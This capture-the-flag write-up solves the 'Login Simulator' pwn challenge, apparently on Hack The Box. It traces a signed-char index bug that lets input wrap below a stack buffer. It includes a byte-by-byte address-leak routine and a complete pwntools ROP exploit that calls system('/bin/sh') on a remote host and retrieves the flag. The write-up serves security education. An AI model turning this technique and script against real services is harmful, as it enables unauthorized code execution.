Login Simulator

1) Checked Security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Login Simulator/pwn_login_simulator]
└─$ checksec loginsim
[*] '/home/vigneswar/Pwn/Login Simulator/pwn_login_simulator/loginsim'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc'
```

2) Decompiled the binary

Decompile: main - (loginsim)

```
1
2 undefined8 main(void)
3
4 {
5   bool bVar1;
6   int iVar2;
7   undefined8 uVar3;
8   long in_FS_OFFSET;
9   int local_b0;
10  int local_ac;
11  undefined local_a8 [152];
12  long local_10;
13
14  local_10 = *(long *)(in_FS_OFFSET + 0x28);
15  bVar1 = false;
16  setup();
17  banner();
18  do {
19    menu();
20    iVar2 = __isoc99_scanf(&DAT_00102637,&local_b0);
21    if (iVar2 < 0) {
22      puts("Something went wrong.\n");
23      uVar3 = 1;
24 LAB_00101657:
25      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
26        return uVar3;
27      }
28                    /* WARNING: Subroutine does not return */
29      __stack_chk_fail();
30    }
31    if (local_b0 == 3) {
32      uVar3 = 0;
33      goto LAB_00101657;
34    }
35    if (3 < local_b0) {
36 LAB_0010163c:
37      puts("Invalid option.\n");
38      uVar3 = 1;
39      goto LAB_00101657;
40    }
```

```
    if (local_b0 == 1) {
      local_ac = _register(local_a8);
      if (local_ac < 0) {
        uVar3 = 1;
        goto LAB_00101657;
      }
      bVar1 = true;
    }
    else {
      if (local_b0 != 2) goto LAB_0010163c;
      if (bVar1) {
        iVar2 = _login(local_a8,local_ac);
        if (iVar2 == 0) {
          puts("Invalid username! :)");
        }
        else {
          puts("Good job! :^)");
        }
      }
      else {
        puts("You need to register first.");
      }
    }
  } while( true );
}

```

Decompile: menu - (loginsim)

```

void menu(void)

{
  puts("{1. Register  }");
  puts("{2. Login     }");
  puts("{3. Exit      }");
  printf("-> ");
  return;
}

```

Decompile: _register - (loginsim)

```c

int _register(undefined8 param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("{i} Username length: ");
  iVar1 = __isoc99_scanf(&DAT_00102637,&local_14);
  if (iVar1 < 0) {
    puts("Something went wrong!");
    local_14 = -1;
  }
  else if ((local_14 < 1) || (0x80 < local_14)) {
    puts("Invalid length.");
    local_14 = -1;
  }
  else {
    printf("{i} Enter username: ");
    getInput(param_1,local_14);
    puts("Username registered successfully!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return local_14;
}

```

Decompile: getInput - (loginsim)

```
void getInput(long param_1,int param_2)

{
  ssize_t sVar1;
  long in_FS_OFFSET;
  char local_12;
  char local_11;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_11 = '\0';
  do {
    if ((param_2 <= local_11) || (sVar1 = read(0,&local_12,1), (int)sVar1 < 1))
    goto code_r0x0010137f;
    if (local_12 != ' ') {
      if (local_12 == '\n') {
code_r0x0010137f:
        if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
          return;
        }
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      *(char *)(local_11 + param_1) = local_12;
    }
    local_11 = local_11 + '\x01';
  } while( true );
}

```

Decompile: _login - (loginsim)

```
bool _login(char *param_1,int param_2)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_a8 [152];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("{i} Username: ");
  getInput(local_a8,param_2);
  iVar1 = strncmp(local_a8,param_1,(long)param_2);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1 == 0;
}
```

3) Notes

Decompile: getInput - (loginsim)

```
void getInput(long param_1,int param_2)

{
  ssize_t sVar1;
  long in_FS_OFFSET;
  char local_12;
  char local_11;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_11 = '\0';
  do {
    if ((param_2 <= local_11) || (sVar1 = read(0,&local_12,1), (int)sVar1 < 1))
    goto code_r0x0010137f;
    if (local_12 != ' ') {
      if (local_12 == '\n') {
code_r0x0010137f:
        if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
          return;
        }
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      *(char *)(local_11 + param_1) = local_12;
    }
    local_11 = local_11 + '\x01';
  } while( true );
}
```

i) By Entering Space, the buffer is unmodified

Decompile: _login - (loginsim)

```
bool _login(char *param_1,int param_2)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_a8 [152];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("{i} Username: ");
  getInput(local_a8,param_2);
  iVar1 = strncmp(local_a8,param_1,(long)param_2);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1 == 0;
}
```

ii) We can bruteforce the login to leak the previous contents, thereby leaking possibily addresses

4) Moving on

After this, We cant find any more ideas from ghidra code, also notice how character type is used as index

So we have to look at assembly instructions

```
                        getInput                                        XREF[5]:     Entry Point(*),
                                                                                     _login:001013e2(c),
                                                                                     _register:001014da(c
                                                                                     00102828(*)
001012fd 55              PUSH       RBP
001012fe 48 89 e5        MOV        RBP,RSP
00101301 48 83 ec 20     SUB        RSP,0x20
00101305 48 89 7d e8     MOV        qword ptr [RBP + local_20],RDI
00101309 89 75 e4        MOV        dword ptr [RBP + local_24],ESI
0010130c 64 48 8b        MOV        RAX,qword ptr FS:[0x28]
         04 25 28
         00 00 00
00101315 48 89 45 f8     MOV        qword ptr [RBP + local_10],RAX
00101319 31 c0           XOR        EAX,EAX
0010131b c6 45 f7 00     MOV        byte ptr [RBP + local_11],0x0
0010131f eb 4e           JMP        LAB_0010136f

                     LAB_00101321                                       XREF[1]:     00101376(j)
00101321 48 8d 45 f6     LEA        RAX=>local_12,[RBP + -0xa]
00101325 ba 01 00        MOV        EDX,0x1
         00 00
0010132a 48 89 c6        MOV        RSI,RAX
0010132d bf 00 00        MOV        EDI,0x0
         00 00
00101332 b8 00 00        MOV        EAX,0x0
         00 00
00101337 e8 34 fd        CALL       <EXTERNAL>::read                          ssize_t read(int
         ff ff
0010133c 85 c0           TEST       EAX,EAX
0010133e 7e 3a           JLE        LAB_0010137a
00101340 0f b6 45 f6     MOVZX      EAX,byte ptr [RBP + local_12]
00101344 3c 20           CMP        AL,0x20
00101346 74 1c           JZ         LAB_00101364
00101348 0f b6 45 f6     MOVZX      EAX,byte ptr [RBP + local_12]
0010134c 3c 0a           CMP        AL,0xa
0010134e 74 2d           JZ         LAB_0010137d
00101350 48 0f be        MOVSX      RDX,byte ptr [RBP + local_11]
         55 f7
00101355 48 8b 45 e8     MOV        RAX,qword ptr [RBP + local_20]
00101359 48 01 c2        ADD        RDX,RAX
0010135c 0f b6 45 f6     MOVZX      EAX,byte ptr [RBP + local_12]
00101360 88 02           MOV        byte ptr [RDX],AL
00101362 eb 01           JMP        LAB_00101365

                     LAB_00101364                                       XREF[1]:     00101346(j)
00101364 90              NOP

                     LAB_00101365                                       XREF[1]:     00101362(j)
00101365 0f b6 45 f7     MOVZX      EAX,byte ptr [RBP + local_11]
00101369 83 c0 01        ADD        EAX,0x1
0010136c 88 45 f7        MOV        byte ptr [RBP + local_11],AL
```

Lets see what these intructions do

CMP: Compares operands, affects flags (ZF, SF, OF, PF, CF)

Jump Instructions:

- **je:** Jump if equal (ZF=1)
- **jne:** Jump if not equal (ZF=0)
- **jg:** Jump if greater (ZF=0, SF=OF)
- **jl:** Jump if less (SF != OF)
- **jle:** Jump if less or equal (ZF=1 or SF != OF)
- **ja:** Jump if above (CF=0, ZF=0)
- **jb:** Jump if below (CF=1 or ZF=1)
- **jmp:** Unconditional jump
- **jae:** Jump if above or equal (CF=0)
- **jbe:** Jump if below or equal (CF=1)
- **jo:** Jump if overflow (OF=1)
- **jno:** Jump if not overflow (OF=0)
- **js:** Jump if signed (SF=1)
- **jns:** Jump if not signed (SF=0)
- **jz:** Jump if zero (ZF=1)
- **jnz:** Jump if not zero (ZF=0)

Instruction	Description	Operand Size	Source Operand	Destination Operand	Notes
MOV	Move	Varies	Source	Destination	Copies the value from the source operand to the destination operand. Size may vary based on operands.
MOVZX	Move with Zero-Extend	8/16 to 32/64 bits	Source (smaller size)	Destination (larger size)	Zero-extends the source operand to the size of the destination operand. Useful for extending unsigned values.
MOVSX	Move with Sign-Extend	8/16 to 32/64 bits	Source (smaller size)	Destination (larger size)	Sign-extends the source operand to the size of the destination operand. Useful for extending signed values.

Aspect	Sign Extension	Zero Extension
Purpose	Used for signed integer values	Used for unsigned integer values
Operation	Replicates the sign bit to fill extension	Fills the extension with zeros
Effect on Sign	Preserves the sign (positive or negative)	Always results in a positive value
Instruction in x86-64	MOVSX (Move with Sign-Extend)	MOVZX (Move with Zero-Extend)
Example	Original: `**11011010**`	Original: `**11011010**`
	16-bit Signed: `**1111111111011010**`	16-bit Unsigned: `**0000000011011010**`
	Decimal: -38	Decimal: 218

Lets experiment with these

First lets try for 4 byte data:

```
global _start

section .text
_start:
```

```
mov rbp, rsp
sub rsp, 8
mov byte [rbp-4], -1
movzx rax, byte [rbp-4]
movsx rbx, byte [rbp-4]
```

After the execution, rax and rbx have these values

```
gef➤  p $rax
$1 = 0xff
gef➤  p $rbx
$2 = 0xffffffffffffffff
gef➤
```

It makes sense if we see in binary

```
gef➤  x/t $rbp-0x4
0x7fffffffda5c: 00000000000000000000000011111111
gef➤  p/t $rax
$3 = 11111111
gef➤  p/t $rbx
$4 = 1111111111111111111111111111111111111111111111111111111111111111
gef➤
```

Now lets try with 1 byte as in our case (char)

When MSB is 0 both the values are equal

```
gef➤  x/b $rbp-1
0x7fffffffda5f: 01111111      Original Value
gef➤  p $rax
$2 = 0x7f        MOVZX
gef➤  p $rbx
$3 = 0x7f        MOVSX
gef➤
```

When MSB is 1 the result of MOVSX is negative

```
gef➤  x/t $rbp-1
0x7fffffffda5f: 10000000   Original Value
gef➤  p $rax
$10 = 0x80   MOVZX
gef➤  p $rbx
$11 = 0xffffffffffffff80   MOVSX
gef➤
```

We can also see in decimal

```
gef➤  p/u $rax
$4 = 128
gef➤  p/u $rbx
$5 = 18446744073709551488
gef➤  p/d $rax
$6 = 128
gef➤  p/d $rbx
$7 = -128
```

Quick Reference

Output formats

By default, GDB prints a value according to its data type. Sometimes this is not what you want. For example, you might want to print a number in hex, or a pointer in decimal. Or you might want to view data in memory at a certain address as a character string or as an instruction. To do these things, specify an *output format* when you print a value.

The simplest use of output formats is to say how to print a value already computed. This is done by starting the arguments of the `print` command with a slash and a format letter. The format letters supported are:

`x`
Regard the bits of the value as an integer, and print the integer in hexadecimal.

`d`
Print as integer in signed decimal.

`u`
Print as integer in unsigned decimal.

`o`
Print as integer in octal.

`t`
Print as integer in binary. The letter `t` stands for "two". (2)

`a`
Print as an address, both absolute in hexadecimal and as an offset from the nearest preceding symbol. You can use this format used to discover where (in what function) an unknown address is located:

```
(gdb) p/a 0x54320
$3 = 0x54320 <_initialize_vx+396>
```

The command `info symbol 0x54320` yields similar results. See section Examining the Symbol Table.

`c`
Regard as an integer and print it as a character constant.

`f`
Regard the bits of the value as a floating point number and print using typical floating point syntax.

5) Overflow

```
                    LAB_0010136f                                XREF[1]:     0010131f(j)
0010136f 0f be 45 f7    MOVSX     EAX,byte ptr [RBP + local_11]
00101373 39 45 e4       CMP       dword ptr [RBP + local_24],EAX
00101376 7f a9          JG        LAB_00101321
00101378 eb 04          JMP       LAB_0010137e

                    LAB_0010137a                                XREF[1]:     0010133e(j)
0010137a 90             NOP
0010137b eb 01          JMP       LAB_0010137e

                    LAB_0010137d                                XREF[1]:     0010134e(j)
```

```
13  do {
14    if ((param_2 <= local_11) || (sVar1 = read(0,&local_12,1), (int)sVar1 < 1))
15      goto code_r0x0010137f;
16      if (local_12 != ' ') {
17        if (local_12 == '\n') {
18  code_r0x0010137f:
19          if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
20            return;
21          }
22                    /* WARNING: Subroutine does not return */
23          __stack_chk_fail();
```

When local_11 becomes 128, because of MOVSX, it will be treated ad -128, which will always be less than our input, i.e 128

```
0010134c 3c 0a          CMP     AL,0xa
0010134e 74 2d          JZ      LAB_0010137d
00101350 48 0f be       MOVSX   RDX,byte ptr [RBP + local_11]
         55 f7
00101355 48 8b 45 e8    MOV     RAX,qword ptr [RBP + local_20]
00101359 48 01 c2       ADD     RDX,RAX
0010135c 0f b6 45 f6    MOVZX   EAX,byte ptr [RBP + local_12]
00101360 88 02          MOV     byte ptr [RDX],AL
00101362 eb 01          JMP     LAB_00101365
```

```
23        __stack_chk_fail();
24      }
25      *(char *)(local_11 + param_1) = local_12;
26    }
27    local_11 = local_11 + '\x01';
28  } while( true );
29 }
30
```

Like wise, when RDX becomes 128, it will be treated as -128 so our input will overflow the buffer in opposite direction, which we can fill again to overflow the buffer

Lets quickly verify our theory

Loading 128 bytes

```
(remote) gef➤  x/130b 0x7ffeaa812ef0
0x7ffeaa812ef0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812ef8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f00: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f08: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f10: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f18: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f20: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f28: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f30: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f38: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f40: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f48: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f50: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f58: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f60: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f68: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f70: 0x00    0x00
```

Loading 129 bytes

```
(remote) gef➤  x/130b 0x7ffeaa812ef0
0x7ffeaa812ef0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812ef8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f00: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f08: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f10: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f18: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f20: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f28: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f30: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f38: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f40: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f48: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f50: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f58: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f60: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f68: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffeaa812f70: 0x00    0x00
```

Our byte was not loaded consecutively, because it was loaded at base - 128th byte instead of base + 128

```
(remote) gef➤  x/130b 0x7ffeaa812ef0-128
0x7ffeaa812e70: 0x41    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffeaa812e78: 0x3c    0xc3    0x2f    0x11    0x2e    0x56    0x00    0x00
0x7ffeaa812e80: 0x0f    0x00    0x00    0x00    0x80    0x00    0x00    0x00
0x7ffeaa812e88: 0xf0    0x2e    0x81    0xaa    0xfe    0x7f    0x00    0x00
0x7ffeaa812e90: 0xfe    0xd5    0x2f    0x11    0x2e    0x56    0x41    0x81
0x7ffeaa812e98: 0x00    0x92    0x4b    0x86    0x9c    0xc9    0x40    0xeb
0x7ffeaa812ea0: 0xd0    0x2e    0x81    0xaa    0xfe    0x7f    0x00    0x00
0x7ffeaa812ea8: 0xdf    0xc4    0x2f    0x11    0x2e    0x56    0x00    0x00
0x7ffeaa812eb0: 0x70    0xc6    0x2f    0x11    0x2e    0x56    0x00    0x00
0x7ffeaa812eb8: 0xf0    0x2e    0x81    0xaa    0xfe    0x7f    0x00    0x00
0x7ffeaa812ec0: 0x70    0xc6    0x2f    0x11    0x80    0x00    0x00    0x00
0x7ffeaa812ec8: 0x00    0x92    0x4b    0x86    0x9c    0xc9    0x40    0xeb
0x7ffeaa812ed0: 0x90    0x2f    0x81    0xaa    0xfe    0x7f    0x00    0x00
0x7ffeaa812ed8: 0xb7    0xc5    0x2f    0x11    0x2e    0x56    0x00    0x00
0x7ffeaa812ee0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffeaa812ee8: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffeaa812ef0: 0x41    0x41
```

Here we can see our input being loaded

```
(remote) gef➤  p $rbp
$11 = (void *) 0x7ffeaa812ea0
```

While writing, we also have to make sure not to overwrite base pointer value

6) Exploitation
First, we need to leak addresses

```
(remote) gef➤  x/20a  0x00007ffde3aea5a0
0x7ffde3aea5a0: 0x6666666666666666      0x6666666666666666
0x7ffde3aea5b0: 0x6666666666666666      0x6666666666666666
0x7ffde3aea5c0: 0x6666666666666666      0x6666666666666666
0x7ffde3aea5d0: 0x6666666666666666      0x6666666666666666
0x7ffde3aea5e0: 0x6666666666666666      0x6666666666666666
0x7ffde3aea5f0: 0x6666666666666666      0x6666666666666666
0x7ffde3aea600: 0x6666666666666666      0x55dd678116bd <__libc_csu_init+77>
0x7ffde3aea610: 0x7f2ddbdb9fc8  0x55dd67811670 <__libc_csu_init>
0x7ffde3aea620: 0x0     0x55dd678110a0 <_start>
0x7ffde3aea630: 0x7ffde3aea730  0xbcf4eb4cd5421800
```

We can leak address base address and libc address from here

```
def leak_address(start, end):
```

```python
    chars = [bytes([i]) for i in range(256) if i not in {0, 10, 32}]
    leak = b''
    for i in range(start, end):
        io.sendlineafter(b'-> ', b'1')
        io.sendlineafter(b': ', str(i+1).encode())
        io.sendlineafter(b': ', b'\x55'*i+b' ')
        for char in chars:
            io.sendlineafter(b'-> ', b'2')
            io.sendlineafter(b': ', b'\x55'*i+char)
            if b'Good' in io.recvline():
                leak += char
                break
    return unpack(leak, 'all')

base_address = leak_address(104, 111)-0x16bd
libc_address = leak_address(111, 118)-0x1f2fc8
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Login Simulator/pwn_login_simulator]
└─$ python3 solve.py
0x55c21aece000 0x7f5ec028b000
$
```

```
(remote) gef➢  vmmap                                                    [5/237]
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x000055c21aece000 0x000055c21aecf000 0x0000000000001000 r-- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/loginsim
0x000055c21aecf000 0x000055c21aed0000 0x0000000000001000 r-x /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/loginsim
0x000055c21aed0000 0x000055c21aed1000 0x0000000000001000 r-- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/loginsim
0x000055c21aed1000 0x000055c21aed2000 0x0000000000001000 r-- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/loginsim
0x000055c21aed2000 0x000055c21aed3000 0x0000000000001000 rw- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/loginsim
0x000055c21aed3000 0x000055c21aed4000 0x0000000000001000 rw- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/loginsim
0x00007f5ec0289000 0x00007f5ec028b000 0x0000000000002000 rw-
0x00007f5ec028b000 0x00007f5ec02b0000 0x0000000000025000 r-- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/glibc/libc.so.6
0x00007f5ec02b0000 0x00007f5ec0428000 0x0000000000178000 r-x /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/glibc/libc.so.6
0x00007f5ec0428000 0x00007f5ec0472000 0x000000000004a000 r-- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/glibc/libc.so.6
0x00007f5ec0472000 0x00007f5ec0473000 0x0000000000001000 --- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/glibc/libc.so.6
0x00007f5ec0473000 0x00007f5ec0476000 0x0000000000003000 r-- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/glibc/libc.so.6
0x00007f5ec0476000 0x00007f5ec0479000 0x0000000000003000 rw- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/glibc/libc.so.6
0x00007f5ec0479000 0x00007f5ec047f000 0x0000000000006000 rw-
0x00007f5ec047f000 0x00007f5ec0480000 0x0000000000001000 r-- /home/vigneswar/
Pwn/Login Simulator/pwn_login_simulator/glibc/ld.so
```

Now that we leaked base address and libc address, now we need to try to control RIP using buffer overflow

```
(remote) gef➤  x/30a $rdx
0x7fff3171f850: 0x55    0x0
0x7fff3171f860: 0x0     0x0
0x7fff3171f870: 0x0     0x0
0x7fff3171f880: 0x0     0x0
0x7fff3171f890: 0x55ba28650040  0xf0b5ff
0x7fff3171f8a0: 0xc2    0x7fff3171f8d7
0x7fff3171f8b0: 0x7fff3171f8d6  0x55ba286516bd <__libc_csu_init+77>
0x7fff3171f8c0: 0x7fd83a668fc8  0x55ba28651670 <__libc_csu_init>
0x7fff3171f8d0: 0x0     0x55ba286510a0 <_start>
0x7fff3171f8e0: 0x7fff3171f9e0  0x1f33554ecc04db00
0x7fff3171f8f0: 0x0     0x7fd83a49f0b3 <__libc_start_main+243>
0x7fff3171f900: 0x7fd83a699620 <_rtld_global_ro>        0x7fff3171f9e8
0x7fff3171f910: 0x100000000     0x55ba28651507 <main>
0x7fff3171f920: 0x55ba28651670 <__libc_csu_init>        0xbab6a2cf203fa0da
0x7fff3171f930: 0x55ba286510a0 <_start> 0x7fff3171f9e0
```

This is the buffer that we write into

```
 → 0x55ba28651394 <getInput+151>   ret
   ↳  0x55ba286514df <_register+176>  lea    rax, [rip+0x1192]        # 0x55b
a28652678
      0x55ba286514e6 <_register+183>  mov    rdi, rax
      0x55ba286514e9 <_register+186>  call   0x55ba28651040 <puts@plt>
      0x55ba286514ee <_register+191>  mov    eax, DWORD PTR [rbp-0xc]
      0x55ba286514f1 <_register+194>  mov    rdx, QWORD PTR [rbp-0x8]
      0x55ba286514f5 <_register+198>  sub    rdx, QWORD PTR fs:0x28
──────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loginsim", stopped 0x55ba28651394 in getInput (), reason: S
INGLE STEP
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55ba28651394 → getInput()
[#1] 0x55ba286514df → _register()
[#2] 0x55ba286515b7 → main()
──────────────────────────────────────────────────────────────────────────────
(remote) gef➤  x $rsp
0x7fff3171f808: 0x55ba286514df <_register+176>
```

This is the return address, it is in the opposite side of the buffer that we write, but with 128 changing to -128 we might be able to reach it

```
(remote) gef➤  x/30a 0x00007ffe69dc65f0-128
0x7ffe69dc6570: 0x55555555      0x56520876033c <getInput+63>
0x7ffe69dc6580: 0x800000000f    0x7ffe69dc65f0
0x7ffe69dc6590: 0x845555652087615fe      0xfa53967665470c00
0x7ffe69dc65a0: 0x7ffe69dc65d0  0x5652087604df <_register+176>
0x7ffe69dc65b0: 0x565208760670 <__libc_csu_init>        0x7ffe69dc65f0
0x7ffe69dc65c0: 0x8008760670    0xfa53967665470c00
0x7ffe69dc65d0: 0x7ffe69dc6690  0x5652087605b7 <main+176>
0x7ffe69dc65e0: 0x0     0x1
0x7ffe69dc65f0: 0x5555555555555555      0x5555555555555555
0x7ffe69dc6600: 0x5555555555555555      0x5555555555555555
0x7ffe69dc6610: 0x5555555555555555      0x5555555555555555
0x7ffe69dc6620: 0x5555555555555555      0x5555555555555555
0x7ffe69dc6630: 0x5555555555555555      0x5555555555555555
0x7ffe69dc6640: 0x5555555555555555      0x5555555555555555
0x7ffe69dc6650: 0x5555555555555555      0x5555555555555555
(remote) gef➤
```

We should also be careful not to change these values, they have base array address, index and canary

Successfully controlled rip

```
──────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffb19f0db8│+0x0000: 0x6666666666666666   ← $rsp
0x00007fffb19f0dc0│+0x0008: 0x0000561f331f70a0  →  <_start+0> endbr64
0x00007fffb19f0dc8│+0x0010: 0x00007fffb19f0e00  →  "UUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUU[...]"
0x00007fffb19f0dd0│+0x0018: 0x0000008000000000
0x00007fffb19f0dd8│+0x0020: 0x05c18327b6ab1600
0x00007fffb19f0de0│+0x0028: 0x00007fffb19f0ea0  →  0x0000000000000000
0x00007fffb19f0de8│+0x0030: 0x0000561f331f75b7  →  <main+176> mov DWORD PTR [
rbp-0xa4], eax
0x00007fffb19f0df0│+0x0038: 0x0100000000000000
──────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x561f331f738c <getInput+143>   je     0x561f331f7393 <getInput+150>
   0x561f331f738e <getInput+145>   call   0x561f331f7050 <__stack_chk_fail@pl
t>
   0x561f331f7393 <getInput+150>   leave
 → 0x561f331f7394 <getInput+151>   ret
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loginsim", stopped 0x561f331f7394 in getInput (), reason: S
IGSEGV
──────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x561f331f7394 → getInput()
──────────────────────────────────────────────────────────────────────────────────────
(remote) gef➤  x/a $rsp
0x7fffb19f0db8: 0x6666666666666666
(remote) gef➤
```

7) Exploit

```
#!/usr/bin/env python3
```

```python
from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./loginsim")
context.binary = exe

# io = gdb.debug(exe.path, 'b* main')
io = remote('94.237.53.58', 46983)

# leak addresses
def leak_address(start, end):
    chars = [bytes([i]) for i in range(256) if i not in {0, 10, 32}]
    leak = b''
    for i in range(start, end):
        io.sendlineafter(b'-> ', b'1')
        io.sendlineafter(b': ', str(i+1).encode())
        io.sendlineafter(b': ', b'\x55'*i+b' ')
        for char in chars:
            io.sendlineafter(b'-> ', b'2')
            io.sendlineafter(b': ', b'\x55'*i+char)
            if b'Good' in io.recvline():
                leak += char
                break
    return unpack(leak, 'all')

base_address = leak_address(104, 111)-0x16bd
libc_address = leak_address(111, 118)-0x1f0fc8

print(f"Successfully Leaked Addresses: {hex(base_address)=}
{hex(libc_address)=}")
# rop
pop_rdi_ret = p64(0x016d3+base_address)
shell_address = p64(0x1b75aa+libc_address)
system_address = p64(0x55410+libc_address)
ret = p64(0x101a+base_address)
payload = b' '*184+pop_rdi_ret+shell_address+ret+system_address
io.sendlineafter(b'-> ', b'1')
io.sendlineafter(b': ', b'128')
io.sendlineafter(b': ', payload)

print("Here is your shell :)")
io.interactive()
```

8) Flag

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Login Simulator/pwn_login_simulator]
└─$ python3 solve.py




Successfully Leaked Addresses: hex(base_address)='0x55f6c49dd000' hex(libc_address)='0x7f534ad31000'
Here is your shell :)
$ ls
flag.txt
glibc
loginsim
$ cat flag.txt
HTB{bUff3R-uNd3rf1Ov_fTw?!??}
```